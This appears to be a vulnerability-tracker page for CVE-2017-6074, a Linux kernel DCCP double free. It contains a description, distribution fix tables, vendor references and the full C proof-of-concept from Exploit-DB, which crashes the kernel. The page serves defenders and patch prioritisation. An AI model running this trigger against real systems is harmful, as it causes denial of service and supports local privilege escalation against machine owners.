CVE-2017-6074
Description
The dccp_rcv_state_process function in net/dccp/input.c in the Linux kernel through 4.9.11 mishandles DCCP_PKT_REQUEST packet data structures in the LISTEN state, which allows local users to obtain root privileges or cause a denial of service (double free) via an application that makes an IPV6_RECVPKTINFO setsockopt system call.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Linux Kernel 4.4.0 (Ubuntu) - DCCP Double-Free (PoC)
//
// EDB Note: More information ~ http://seclists.org/oss-sec/2017/q1/471
//
// A trigger for CVE-2017-6074, crashes kernel.
// Tested on 4.4.0-62-generic #83-Ubuntu kernel.
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074
//
// Andrey Konovalov <andreyknvl@gmail.com>
#define _GNU_SOURCE
#include <netinet/ip.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
int main() {
struct sockaddr_in6 sa1;
sa1.sin6_family = AF_INET6;
sa1.sin6_port = htons(20002);
inet_pton(AF_INET6, "::1", &sa1.sin6_addr);
sa1.sin6_flowinfo = 0;
sa1.sin6_scope_id = 0;
int optval = 8;
int s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
bind(s1, &sa1, 0x20);
listen(s1, 0x9);
setsockopt(s1, IPPROTO_IPV6, IPV6_RECVPKTINFO, &optval, 4);
int s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
connect(s2, &sa1, 0x20);
shutdown(s1, SHUT_RDWR);
close(s1);
shutdown(s2, SHUT_RDWR);
close(s2);
return 0;
}
Linux Kernel 4.4.0 (Ubuntu) - DCCP Double-Free Privilege Escalation
OS impact
Linux kernel Affected 1 release
| Version | Status | Fixed in |
|---|---|---|
| โ | Affected | 3.2.86 |
SUSE Affected 1 release
| Version | Status | Fixed in |
|---|---|---|
| โ | Affected | โ |
Debian Mixed 6 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 4.9.13-1 |
| sid | Fixed | 4.9.13-1 |
| forky | Fixed | 4.9.13-1 |
| bullseye | Fixed | 4.9.13-1 |
| bookworm | Fixed | 4.9.13-1 |
| 8.0 | Affected | โ |
Arch Fixed 1 release
| Version | Status | Fixed in |
|---|---|---|
| โ | Fixed | 4.9.13-1 |
References
- https://security.archlinux.org/ASA-201702-18
- https://security.archlinux.org/ASA-201702-17
- http://rhn.redhat.com/errata/RHSA-2017-0293.html
- http://rhn.redhat.com/errata/RHSA-2017-0294.html
- http://rhn.redhat.com/errata/RHSA-2017-0295.html
- http://rhn.redhat.com/errata/RHSA-2017-0316.html
- http://rhn.redhat.com/errata/RHSA-2017-0323.html
- http://rhn.redhat.com/errata/RHSA-2017-0324.html
- http://rhn.redhat.com/errata/RHSA-2017-0345.html
- http://rhn.redhat.com/errata/RHSA-2017-0346.html
- http://rhn.redhat.com/errata/RHSA-2017-0347.html
- http://rhn.redhat.com/errata/RHSA-2017-0365.html
- http://rhn.redhat.com/errata/RHSA-2017-0366.html
- http://rhn.redhat.com/errata/RHSA-2017-0403.html
- http://rhn.redhat.com/errata/RHSA-2017-0501.html
- http://www.debian.org/security/2017/dsa-3791
- http://www.openwall.com/lists/oss-security/2017/02/22/3
- http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html
- http://www.securityfocus.com/bid/96310
- http://www.securitytracker.com/id/1037876
- https://access.redhat.com/errata/RHSA-2017:0932
- https://access.redhat.com/errata/RHSA-2017:1209
- https://github.com/torvalds/linux/commit/5edabca9d4cff7f1f2b68f0bac55ef99d9798ba4
- https://source.android.com/security/bulletin/2017-07-01
- https://www.exploit-db.com/exploits/41457/
CWEs
CWE-415
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.